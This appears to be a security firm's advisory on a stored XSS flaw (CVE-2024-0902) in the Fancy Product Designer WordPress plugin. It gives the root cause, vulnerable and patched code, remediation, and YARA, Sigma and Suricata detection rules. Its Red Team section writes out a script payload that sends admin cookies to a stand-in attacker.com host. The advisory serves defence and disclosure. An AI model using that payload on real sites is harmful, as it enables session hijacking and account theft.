CVE-2024-0902

Executive Summary

CVE-2024-0902 is a Stored Cross-Site Scripting (XSS) vulnerability in the Fancy Product Designer WordPress plugin, affecting versions prior to 6.1.81. The vulnerability arises from insufficient sanitization and escaping of plugin settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts that persist in the WordPress admin panel. Even in multisite configurations where the unfiltered_html capability is disallowed, an attacker with admin access can execute stored XSS, potentially leading to session hijacking, data theft, or further compromise of the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Fancy Product Designer plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of the plugin by checking checksums or signatures provided by the vendor. No known supply chain attacks have been reported for this CVE, but the risk of malicious plugin modifications exists if downloaded from untrusted sources.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) → Adjusted Score: 4.8 (Medium) based on CVSS:3.1 vector.
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must visit the admin page)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires admin privileges but can lead to persistent compromise of the WordPress admin interface.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s settings page, where user-supplied input is stored without proper sanitization or output escaping. In WordPress, the unfiltered_html capability is typically granted to super admins in multisite, but this plugin fails to respect that restriction. When an admin saves a setting containing malicious JavaScript, the script is stored in the database and executed when the settings page is rendered for any user with access to that page.

Root Cause: The plugin uses update_option() or similar functions to store settings without applying wp_kses() or esc_html() before output. The lack of input validation allows arbitrary HTML/JavaScript to be persisted.

Attack Flow:

1. Attacker gains admin access (e.g., via credential theft or social engineering).
2. Attacker navigates to the Fancy Product Designer settings page.
3. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable field.
4. The payload is stored in the WordPress options table.
5. When any admin (including the attacker) visits the settings page, the script executes in their browser context.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-6.1.81):

// In settings registration
register_setting( 'fpd_settings', 'fpd_custom_css' );
// In settings output
echo '<textarea name="fpd_custom_css">' . get_option( 'fpd_custom_css' ) . '</textarea>';

The get_option() output is not escaped, allowing raw HTML/JS.

Patched Code (6.1.81+):

// In settings output
echo '<textarea name="fpd_custom_css">' . esc_textarea( get_option( 'fpd_custom_css' ) ) . '</textarea>';

The esc_textarea() function escapes the output, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites: Admin credentials to a WordPress site with Fancy Product Designer < 6.1.81.

Steps:

1. Log in as admin.
2. Navigate to wp-admin/admin.php?page=fancy-product-designer-settings.
3. Locate a text field (e.g., "Custom CSS" or "Custom JS").
4. Inject payload: <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
5. Save settings.
6. When another admin visits the settings page, the script executes, exfiltrating cookies.

Proof-of-Concept (No public exploit available):

<!-- Inject into any textarea setting -->
<script>alert('CVE-2024-0902')</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to the fpd_* options in the wp_options table.
• Look for admin users creating or modifying settings with script tags.

Hardening:

• Upgrade to version 6.1.81 or later.
• Restrict admin access to trusted users only.
• Implement Web Application Firewall (WAF) rules to block XSS payloads in admin pages.
• Use WordPress security plugins (e.g., Wordfence) to detect stored XSS.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/fancy-product-designer/ (version < 6.1.81)
• Database: wp_options table entries containing fpd_ prefix with script tags.
• Network: Outbound HTTP requests to attacker-controlled domains from admin browsers.
• Logs: WordPress debug log entries showing unexpected script execution in admin area.

Detection Engineering

YARA Rule

rule CVE_2024_0902_Fancy_Product_Designer_XSS {
    meta:
        description = "Detects stored XSS payloads in Fancy Product Designer settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0902"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $fpd_option = /fpd_[a-z_]+/
    condition:
        $fpd_option and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Fancy Product Designer Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Fancy Product Designer plugin settings
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress option update
        OptionName|startswith: 'fpd_'
        OptionValue|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom CSS/JS fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0902 Fancy Product Designer Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=fancy-product-designer-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade the Fancy Product Designer plugin to version 6.1.81 or later.
2. Verify: After upgrade, check that all fpd_* options in the database are properly escaped.
3. Audit: Review admin user accounts and remove unnecessary privileges.
4. Monitor: Enable WordPress audit logging to track changes to plugin settings.
5. WAF: Deploy a Web Application Firewall with rules to block XSS payloads in admin POST requests.

Valters IT
Securing WordPress Ecosystems